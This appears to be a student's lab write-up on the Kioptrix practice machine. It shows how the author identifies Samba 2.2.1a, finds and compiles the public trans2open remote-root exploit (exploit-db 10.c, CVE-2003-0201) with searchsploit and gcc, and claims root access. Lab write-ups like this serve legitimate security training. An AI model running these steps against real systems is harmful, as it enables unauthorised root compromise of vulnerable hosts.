## Day 2

## Task: using samba shell with a port of 139

1. First I needed to know the samba version so I entered the kioptrix shell using the apache exploit we used earlier

2. Then I used the smyclient to know the samba version

```
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./exploit: No such file or directory
bash-2.05$
bash-2.05$ smbclient
smbclient
added interface ip=192.168.209.136 bcast=192.168.209.255 nmask=255.255.255.0
Usage: smbclient service <password> [options]
Version 2.2.1a
```

3. Then after knowing the version I searched locally for the exploits

```
| Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit) | osx/remote/9924.rb
| Samba 2.2.0 < 2.2.8 (Linux/BSD) - Remote Code Execution | multiple/remote/10.c
| Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
| Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
| Shellcodes: No Results
```

4. I decided to use the second one so I mirrored the exploit file on my machine

```
(fekry⊗ kali)-[~]
$ searchsploit -m 10.c
Exploit: Samba < 2.2.8 (Linux/BSD) - Remote Code Execution
    URL: https://www.exploit-db.com/exploits/10
    Path: /usr/share/exploitdb/exploits/multiple/remote/10.c
Codes: OSVDB-4469, CVE-2003-0201
Verified: True
File Type: C source, ASCII text
Copied to: /home/fekry/10.c</pre>
```

5. The file is in C programming so I compiled it first

```
___(fekry⊕ kali)-[~]

$ gcc -o exploit 10.c -lcrypto
```

6. Then I ran the file after compiling it

```
-(fekry®kali)-[~]
$ ./exploit
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
Usage: ./exploit [-bBcCdfprsStv] [host]
-b <platform> bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD
3.2)
               bruteforce steps (default = 300)
-B <step>
-c <ip address> connectback ip address
-C <max childs> max childs for scan/bruteforce mode (default = 40)
-d <delay> bruteforce/scanmode delay in micro seconds (default = 100000)
-f
              force
             port to attack (default = 139)
-p <port>
-r <ret>
              return address
              scan mode (random)
-s
-S <network> scan mode
-t <type>
               presets (0 for a list)
-v
               verbose mode
```

7. All is left now is to run the command as said

You can see I gain access as the root